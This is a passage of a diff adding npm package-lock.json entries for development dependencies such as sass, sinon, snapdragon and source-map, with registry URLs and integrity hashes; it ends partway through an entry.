{ + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/remove-bom-buffer/-/remove-bom-buffer-3.0.0.tgz", + "integrity": "sha512-8v2rWhaakv18qcvNeli2mZ/TMTL2nEyAKRvzo1WtnZBl15SHyEhrCu2/xKlJyUFKHiHgfXIyuY6g2dObJJycXQ==", + "dev": true, + "requires": { + "is-buffer": "^1.1.5", + "is-utf8": "^0.2.1" + } + }, + "remove-bom-stream": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/remove-bom-stream/-/remove-bom-stream-1.2.0.tgz", + "integrity": "sha512-wigO8/O08XHb8YPzpDDT+QmRANfW6vLqxfaXm1YXhnFf3AkSLyjfG3GEFg4McZkmgL7KvCj5u2KczkvSP6NfHA==", + "dev": true, + "requires": { + "remove-bom-buffer": "^3.0.0", + "safe-buffer": "^5.1.0", + "through2": "^2.0.3" + }, + "dependencies": { + "through2": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/through2/-/through2-2.0.5.tgz", + "integrity": "sha512-/mrRod8xqpA+IHSLyGCQ2s8SPHiCDEeQJSep1jqLYeEUClOFG2Qsh+4FU6G9VeqpZnGW/Su8LQGc4YKni5rYSQ==", + "dev": true, + "requires": { + "readable-stream": "~2.3.6", + "xtend": "~4.0.1" + } + } + } + }, + "remove-trailing-separator": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/remove-trailing-separator/-/remove-trailing-separator-1.1.0.tgz", + "integrity": "sha512-/hS+Y0u3aOfIETiaiirUFwDBDzmXPvO+jAfKTitUngIPzdKc6Z0LoFjM/CK5PL4C+eKwHohlHAb6H0VFfmmUsw==", + "dev": true + }, + "repeat-element": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/repeat-element/-/repeat-element-1.1.4.tgz", + "integrity": "sha512-LFiNfRcSu7KK3evMyYOuCzv3L10TW7yC1G2/+StMjK8Y6Vqd2MG7r/Qjw4ghtuCOjFvlnms/iMmLqpvW/ES/WQ==", + "dev": true + }, + "repeat-string": { + "version": "1.6.1", + "resolved": "https://registry.npmjs.org/repeat-string/-/repeat-string-1.6.1.tgz", + "integrity": "sha512-PV0dzCYDNfRi1jCDbJzpW7jNNDRuCOG/jI5ctQcGKt/clZD+YcPS3yIlWuTJMmESC8aevCFmWJy5wjAFgNqN6w==", + "dev": true + }, + "replace-ext": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/replace-ext/-/replace-ext-2.0.0.tgz", + "integrity": "sha512-UszKE5KVK6JvyD92nzMn9cDapSk6w/CaFZ96CnmDMUqH9oowfxF/ZjRITD25H4DnOQClLA4/j7jLGXXLVKxAug==", + "dev": true + }, + "replace-homedir": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/replace-homedir/-/replace-homedir-1.0.0.tgz", + "integrity": "sha512-CHPV/GAglbIB1tnQgaiysb8H2yCy8WQ7lcEwQ/eT+kLj0QHV8LnJW0zpqpE7RSkrMSRoa+EBoag86clf7WAgSg==", + "dev": true, + "requires": { + "homedir-polyfill": "^1.0.1", + "is-absolute": "^1.0.0", + "remove-trailing-separator": "^1.1.0" + } + }, + "require-directory": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/require-directory/-/require-directory-2.1.1.tgz", + "integrity": "sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q==", + "dev": true + }, + "require-main-filename": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/require-main-filename/-/require-main-filename-1.0.1.tgz", + "integrity": "sha512-IqSUtOVP4ksd1C/ej5zeEh/BIP2ajqpn8c5x+q99gvcIG/Qf0cud5raVnE/Dwd0ua9TXYDoDc0RE5hBSdz22Ug==", + "dev": true + }, + "requires-port": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/requires-port/-/requires-port-1.0.0.tgz", + "integrity": "sha512-KigOCHcocU3XODJxsu8i/j8T9tzT4adHiecwORRQ0ZZFcp7ahwXuRU1m+yuO90C5ZUyGeGfocHDI14M3L3yDAQ==", + "dev": true + }, + "requizzle": { + "version": "0.2.4", + "resolved": "https://registry.npmjs.org/requizzle/-/requizzle-0.2.4.tgz", + "integrity": "sha512-JRrFk1D4OQ4SqovXOgdav+K8EAhSB/LJZqCz8tbX0KObcdeM15Ss59ozWMBWmmINMagCwmqn4ZNryUGpBsl6Jw==", + "dev": true, + "requires": { + "lodash": "^4.17.21" + } + }, + "resolve": { + "version": "1.22.2", + "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.22.2.tgz", + "integrity": "sha512-Sb+mjNHOULsBv818T40qSPeRiuWLyaGMa5ewydRLFimneixmVy2zdivRl+AF6jaYPC8ERxGDmFSiqui6SfPd+g==", + "dev": true, + "requires": { + "is-core-module": "^2.11.0", + "path-parse": "^1.0.7", + "supports-preserve-symlinks-flag": "^1.0.0" + } + }, + "resolve-dir": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/resolve-dir/-/resolve-dir-1.0.1.tgz", + "integrity": "sha512-R7uiTjECzvOsWSfdM0QKFNBVFcK27aHOUwdvK53BcW8zqnGdYp0Fbj82cy54+2A4P2tFM22J5kRfe1R+lM/1yg==", + "dev": true, + "requires": { + "expand-tilde": "^2.0.0", + "global-modules": "^1.0.0" + } + }, + "resolve-from": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-4.0.0.tgz", + "integrity": "sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==", + "dev": true + }, + "resolve-options": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/resolve-options/-/resolve-options-1.1.0.tgz", + "integrity": "sha512-NYDgziiroVeDC29xq7bp/CacZERYsA9bXYd1ZmcJlF3BcrZv5pTb4NG7SjdyKDnXZ84aC4vo2u6sNKIA1LCu/A==", + "dev": true, + "requires": { + "value-or-function": "^3.0.0" + } + }, + "resolve-url": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/resolve-url/-/resolve-url-0.2.1.tgz", + "integrity": "sha512-ZuF55hVUQaaczgOIwqWzkEcEidmlD/xl44x1UZnhOXcYuFN2S6+rcxpG+C1N3So0wvNI3DmJICUFfu2SxhBmvg==", + "dev": true + }, + "ret": { + "version": "0.1.15", + "resolved": "https://registry.npmjs.org/ret/-/ret-0.1.15.tgz", + "integrity": "sha512-TTlYpa+OL+vMMNG24xSlQGEJ3B/RzEfUlLct7b5G/ytav+wPrplCpVMFuwzXbkecJrb6IYo1iFb0S9v37754mg==", + "dev": true + }, + "reusify": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/reusify/-/reusify-1.0.4.tgz", + "integrity": "sha512-U9nH88a3fc/ekCF1l0/UP1IosiuIjyTh7hBvXVMHYgVcfGvt897Xguj2UOLDeI5BG2m7/uwyaLVT6fbtCwTyzw==", + "dev": true + }, + "rimraf": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz", + "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==", + "dev": true, + "requires": { + "glob": "^7.1.3" + } + }, + "run-parallel": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/run-parallel/-/run-parallel-1.2.0.tgz", + "integrity": "sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==", + "dev": true, + "requires": { + "queue-microtask": "^1.2.2" + } + }, + "safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==", + "dev": true + }, + "safe-regex": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/safe-regex/-/safe-regex-1.1.0.tgz", + "integrity": "sha512-aJXcif4xnaNUzvUuC5gcb46oTS7zvg4jpMTnuqtrEPlR3vFr4pxtdTwaF1Qs3Enjn9HK+ZlwQui+a7z0SywIzg==", + "dev": true, + "requires": { + "ret": "~0.1.10" + } + }, + "safer-buffer": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", + "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==", + "dev": true + }, + "sass": { + "version": "1.43.2", + "resolved": "https://registry.npmjs.org/sass/-/sass-1.43.2.tgz", + "integrity": "sha512-DncYhjl3wBaPMMJR0kIUaH3sF536rVrOcqqVGmTZHQRRzj7LQlyGV7Mb8aCKFyILMr5VsPHwRYtyKpnKYlmQSQ==", + "dev": true, + "requires": { + "chokidar": ">=3.0.0 <4.0.0" + }, + "dependencies": { + "anymatch": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.3.tgz", + "integrity": "sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw==", + "dev": true, + "requires": { + "normalize-path": "^3.0.0", + "picomatch": "^2.0.4" + } + }, + "binary-extensions": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.2.0.tgz", + "integrity": "sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA==", + "dev": true + }, + "braces": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz", + "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==", + "dev": true, + "requires": { + "fill-range": "^7.0.1" + } + }, + "chokidar": { + "version": "3.5.3", + "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.5.3.tgz", + "integrity": "sha512-Dr3sfKRP6oTcjf2JmUmFJfeVMvXBdegxB0iVQ5eb2V10uFJUCAS8OByZdVAyVb8xXNz3GjjTgj9kLWsZTqE6kw==", + "dev": true, + "requires": { + "anymatch": "~3.1.2", + "braces": "~3.0.2", + "fsevents": "~2.3.2", + "glob-parent": "~5.1.2", + "is-binary-path": "~2.1.0", + "is-glob": "~4.0.1", + "normalize-path": "~3.0.0", + "readdirp": "~3.6.0" + } + }, + "fill-range": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz", + "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==", + "dev": true, + "requires": { + "to-regex-range": "^5.0.1" + } + }, + "fsevents": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.2.tgz", + "integrity": "sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==", + "dev": true, + "optional": true + }, + "glob-parent": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", + "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", + "dev": true, + "requires": { + "is-glob": "^4.0.1" + } + }, + "is-binary-path": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz", + "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==", + "dev": true, + "requires": { + "binary-extensions": "^2.0.0" + } + }, + "is-number": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", + "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", + "dev": true + }, + "readdirp": { + "version": "3.6.0", + "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz", + "integrity": "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==", + "dev": true, + "requires": { + "picomatch": "^2.2.1" + } + }, + "to-regex-range": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", + "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", + "dev": true, + "requires": { + "is-number": "^7.0.0" + } + } + } + }, + "saxes": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/saxes/-/saxes-5.0.1.tgz", + "integrity": "sha512-5LBh1Tls8c9xgGjw3QrMwETmTMVk0oFgvrFSvWx62llR2hcEInrKNZ2GZCCuuy2lvWrdl5jhbpeqc5hRYKFOcw==", + "dev": true, + "requires": { + "xmlchars": "^2.2.0" + } + }, + "schema-utils": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-3.3.0.tgz", + "integrity": "sha512-pN/yOAvcC+5rQ5nERGuwrjLlYvLTbCibnZ1I7B1LaiAz9BRBlE9GMgE/eqV30P7aJQUf7Ddimy/RsbYO/GrVGg==", + "dev": true, + "peer": true, + "requires": { + "@types/json-schema": "^7.0.8", + "ajv": "^6.12.5", + "ajv-keywords": "^3.5.2" + } + }, + "semver": { + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", + "dev": true + }, + "semver-greatest-satisfied-range": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/semver-greatest-satisfied-range/-/semver-greatest-satisfied-range-1.1.0.tgz", + "integrity": "sha512-Ny/iyOzSSa8M5ML46IAx3iXc6tfOsYU2R4AXi2UpHk60Zrgyq6eqPj/xiOfS0rRl/iiQ/rdJkVjw/5cdUyCntQ==", + "dev": true, + "requires": { + "sver-compat": "^1.5.0" + } + }, + "serialize-javascript": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-6.0.0.tgz", + "integrity": "sha512-Qr3TosvguFt8ePWqsvRfrKyQXIiW+nGbYpy8XK24NQHE83caxWt+mIymTT19DGFbNWNLfEwsrkSmN64lVWB9ag==", + "dev": true, + "requires": { + "randombytes": "^2.1.0" + } + }, + "set-blocking": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/set-blocking/-/set-blocking-2.0.0.tgz", + "integrity": "sha512-KiKBS8AnWGEyLzofFfmvKwpdPzqiy16LvQfK3yv/fVH7Bj13/wl3JSR1J+rfgRE9q7xUJK4qvgS8raSOeLUehw==", + "dev": true + }, + "set-value": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/set-value/-/set-value-2.0.1.tgz", + "integrity": "sha512-JxHc1weCN68wRY0fhCoXpyK55m/XPHafOmK4UWD7m2CI14GMcFypt4w/0+NV5f/ZMby2F6S2wwA7fgynh9gWSw==", + "dev": true, + "requires": { + "extend-shallow": "^2.0.1", + "is-extendable": "^0.1.1", + "is-plain-object": "^2.0.3", + "split-string": "^3.0.1" + } + }, + "shallow-clone": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/shallow-clone/-/shallow-clone-3.0.1.tgz", + "integrity": "sha512-/6KqX+GVUdqPuPPd2LxDDxzX6CAbjJehAAOKlNpqqUpAqPM6HeL8f+o3a+JsyGjn2lv0WY8UsTgUJjU9Ok55NA==", + "dev": true, + "requires": { + "kind-of": "^6.0.2" + } + }, + "shebang-command": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz", + "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==", + "dev": true, + "requires": { + "shebang-regex": "^3.0.0" + } + }, + "shebang-regex": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz", + "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==", + "dev": true + }, + "signal-exit": { + "version": "3.0.7", + "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.7.tgz", + "integrity": "sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==", + "dev": true + }, + "sinon": { + "version": "11.1.2", + "resolved": "https://registry.npmjs.org/sinon/-/sinon-11.1.2.tgz", + "integrity": "sha512-59237HChms4kg7/sXhiRcUzdSkKuydDeTiamT/jesUVHshBgL8XAmhgFo0GfK6RruMDM/iRSij1EybmMog9cJw==", + "dev": true, + "requires": { + "@sinonjs/commons": "^1.8.3", + "@sinonjs/fake-timers": "^7.1.2", + "@sinonjs/samsam": "^6.0.2", + "diff": "^5.0.0", + "nise": "^5.1.0", + "supports-color": "^7.2.0" + } + }, + "sinon-chrome": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/sinon-chrome/-/sinon-chrome-3.0.1.tgz", + "integrity": "sha512-NTEFhyuiWEMnRmIqldUiA2DhKn2EqnZxyEk5Ez5rBXj+Nl54aJ0MEmF4wjltrxecxd8zlNLxyE0HyLabev9JsQ==", + "dev": true, + "requires": { + "lodash": "^4.16.3", + "sinon": "^7.2.3", + "urijs": "^1.18.2" + }, + "dependencies": { + "@sinonjs/samsam": { + "version": "3.3.3", + "resolved": "https://registry.npmjs.org/@sinonjs/samsam/-/samsam-3.3.3.tgz", + "integrity": "sha512-bKCMKZvWIjYD0BLGnNrxVuw4dkWCYsLqFOUWw8VgKF/+5Y+mE7LfHWPIYoDXowH+3a9LsWDMo0uAP8YDosPvHQ==", + "dev": true, + "requires": { + "@sinonjs/commons": "^1.3.0", + "array-from": "^2.1.1", + "lodash": "^4.17.15" + } + }, + "diff": { + "version": "3.5.0", + "resolved": "https://registry.npmjs.org/diff/-/diff-3.5.0.tgz", + "integrity": "sha512-A46qtFgd+g7pDZinpnwiRJtxbC1hpgf0uzP3iG89scHk0AUC7A1TGxf5OiiOUv/JMZR8GOt8hL900hV0bOy5xA==", + "dev": true + }, + "has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==", + "dev": true + }, + "nise": { + "version": "1.5.3", + "resolved": "https://registry.npmjs.org/nise/-/nise-1.5.3.tgz", + "integrity": "sha512-Ymbac/94xeIrMf59REBPOv0thr+CJVFMhrlAkW/gjCIE58BGQdCj0x7KRCb3yz+Ga2Rz3E9XXSvUyyxqqhjQAQ==", + "dev": true, + "requires": { + "@sinonjs/formatio": "^3.2.1", + "@sinonjs/text-encoding": "^0.7.1", + "just-extend": "^4.0.2", + "lolex": "^5.0.1", + "path-to-regexp": "^1.7.0" + }, + "dependencies": { + "lolex": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/lolex/-/lolex-5.1.2.tgz", + "integrity": "sha512-h4hmjAvHTmd+25JSwrtTIuwbKdwg5NzZVRMLn9saij4SZaepCrTCxPr35H/3bjwfMJtN+t3CX8672UIkglz28A==", + "dev": true, + "requires": { + "@sinonjs/commons": "^1.7.0" + } + } + } + }, + "sinon": { + "version": "7.5.0", + "resolved": "https://registry.npmjs.org/sinon/-/sinon-7.5.0.tgz", + "integrity": "sha512-AoD0oJWerp0/rY9czP/D6hDTTUYGpObhZjMpd7Cl/A6+j0xBE+ayL/ldfggkBXUs0IkvIiM1ljM8+WkOc5k78Q==", + "dev": true, + "requires": { + "@sinonjs/commons": "^1.4.0", + "@sinonjs/formatio": "^3.2.1", + "@sinonjs/samsam": "^3.3.3", + "diff": "^3.5.0", + "lolex": "^4.2.0", + "nise": "^1.5.2", + "supports-color": "^5.5.0" + } + }, + "supports-color": { + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz", + "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", + "dev": true, + "requires": { + "has-flag": "^3.0.0" + } + } + } + }, + "sisteransi": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/sisteransi/-/sisteransi-1.0.5.tgz", + "integrity": "sha512-bLGGlR1QxBcynn2d5YmDX4MGjlZvy2MRBDRNHLJ8VI6l6+9FUiyTFNJ0IveOSP0bcXgVDPRcfGqA0pjaqUpfVg==", + "dev": true + }, + "slash": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/slash/-/slash-3.0.0.tgz", + "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==", + "dev": true + }, + "snapdragon": { + "version": "0.8.2", + "resolved": "https://registry.npmjs.org/snapdragon/-/snapdragon-0.8.2.tgz", + "integrity": "sha512-FtyOnWN/wCHTVXOMwvSv26d+ko5vWlIDD6zoUJ7LW8vh+ZBC8QdljveRP+crNrtBwioEUWy/4dMtbBjA4ioNlg==", + "dev": true, + "requires": { + "base": "^0.11.1", + "debug": "^2.2.0", + "define-property": "^0.2.5", + "extend-shallow": "^2.0.1", + "map-cache": "^0.2.2", + "source-map": "^0.5.6", + "source-map-resolve": "^0.5.0", + "use": "^3.1.0" + }, + "dependencies": { + "debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "dev": true, + "requires": { + "ms": "2.0.0" + } + }, + "ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==", + "dev": true + }, + "source-map": { + "version": "0.5.7", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.5.7.tgz", + "integrity": "sha512-LbrmJOMUSdEVxIKvdcJzQC+nQhe8FUZQTXQy6+I75skNgn3OoQ0DZA8YnFa7gp8tqtL3KPf1kmo0R5DoApeSGQ==", + "dev": true + } + } + }, + "snapdragon-node": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/snapdragon-node/-/snapdragon-node-2.1.1.tgz", + "integrity": "sha512-O27l4xaMYt/RSQ5TR3vpWCAB5Kb/czIcqUFOM/C4fYcLnbZUc1PkjTAMjof2pBWaSTwOUd6qUHcFGVGj7aIwnw==", + "dev": true, + "requires": { + "define-property": "^1.0.0", + "isobject": "^3.0.0", + "snapdragon-util": "^3.0.1" + }, + "dependencies": { + "define-property": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-1.0.0.tgz", + "integrity": "sha512-cZTYKFWspt9jZsMscWo8sc/5lbPC9Q0N5nBLgb+Yd915iL3udB1uFgS3B8YCx66UVHq018DAVFoee7x+gxggeA==", + "dev": true, + "requires": { + "is-descriptor": "^1.0.0" + } + }, + "is-accessor-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz", + "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", + "dev": true, + "requires": { + "kind-of": "^6.0.0" + } + }, + "is-data-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz", + "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", + "dev": true, + "requires": { + "kind-of": "^6.0.0" + } + }, + "is-descriptor": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz", + "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", + "dev": true, + "requires": { + "is-accessor-descriptor": "^1.0.0", + "is-data-descriptor": "^1.0.0", + "kind-of": "^6.0.2" + } + } + } + }, + "snapdragon-util": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/snapdragon-util/-/snapdragon-util-3.0.1.tgz", + "integrity": "sha512-mbKkMdQKsjX4BAL4bRYTj21edOf8cN7XHdYUJEe+Zn99hVEYcMvKPct1IqNe7+AZPirn8BCDOQBHQZknqmKlZQ==", + "dev": true, + "requires": { + "kind-of": "^3.2.0" + }, + "dependencies": { + "kind-of": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", + "integrity": "sha512-NOW9QQXMoZGg/oqnVNoNTTIFEIid1627WCffUBJEdMxYApq7mNE7CpzucIPc+ZQg25Phej7IJSmX3hO+oblOtQ==", + "dev": true, + "requires": { + "is-buffer": "^1.1.5" + } + } + } + }, + "source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true + }, + "source-map-js": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.0.2.tgz", + "integrity": "sha512-R0XvVJ9WusLiqTCEiGCmICCMplcCkIwwR11mOSD9CR5u+IXYdiseeEuXCVAjS54zqwkLcPNnmU4OeJ6tUrWhDw==", + "dev": true + }, + "source-map-resolve": { + "version": "0.5.3", + "resolved": "https://registry.npmjs.org/source-map-resolve/-/source-map-resolve-0.5.3.tgz", + "integrity": "sha512-Htz+RnsXWk5+P2slx5Jh3Q66vhQj1Cllm0zvnaY98+NFx+Dv2CF/f5O/t8x+KaNdrdIAsruNzoh/KpialbqAnw==", + "dev": true, + "requires": { + "atob": "^2.1.2", + "decode-uri-component": "^0.2.0", + "resolve-url": "^0.2.1", + "source-map-url": "^0.4.0", + "urix": "^0.1.0" + } + }, + "source-map-support": { + "version": "0.5.21", + "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.21.tgz", + "integrity": "sha512-uBHU3L3czsIyYXKX88fdrGovxdSCoTGDRZ6SYXtSRxLZUzHg5P/66Ht6uoUlHu9EZod+inXhKo3qQgwXUT/y1w==", + "dev": true, + "requires": { + "buffer-from": "^1.0.0", + "source-map": "^0.6.0" + } + }, + "source-map-url": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/source-map-url/-/source-map-url-0.4.1.tgz", + "integrity": "sha512-cPiFOTLUKvJFIg4SKVScy4ilPPW6rFgMgfuZJPNoDuMs3nC1HbMUycBoJw77xFIp6z1UJQJOfx6C9GMH80DiTw==", + "dev": true + }, + "sparkles": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/sparkles/-/sparkles-1.0.1.tgz", + "integrity": "sha512-dSO0DDYUahUt/0/pD/Is3VIm5TGJjludZ0HVymmhYF6eNA53PVLhnUk0znSYbH8IYBuJdCE+1luR22jNLMaQdw==", + "dev": true + }, + "spawn-wrap": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/spawn-wrap/-/spawn-wrap-2.0.0.tgz", + "integrity": "sha512-EeajNjfN9zMnULLwhZZQU3GWBoFNkbngTUPfaawT4RkMiviTxcX0qfhVbGey39mfctfDHkWtuecgQ8NJcyQWHg==", + "dev": true, + "requires": { + "foreground-child": "^2.0.0", + "is-windows": "^1.0.2", + "make-dir": "^3.0.0", + "rimraf": "^3.0.0", + "signal-exit": "^3.0.2", + "which": "^2.0.1" + }, + "dependencies": { + "make-dir": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-3.1.0.tgz", + "integrity": 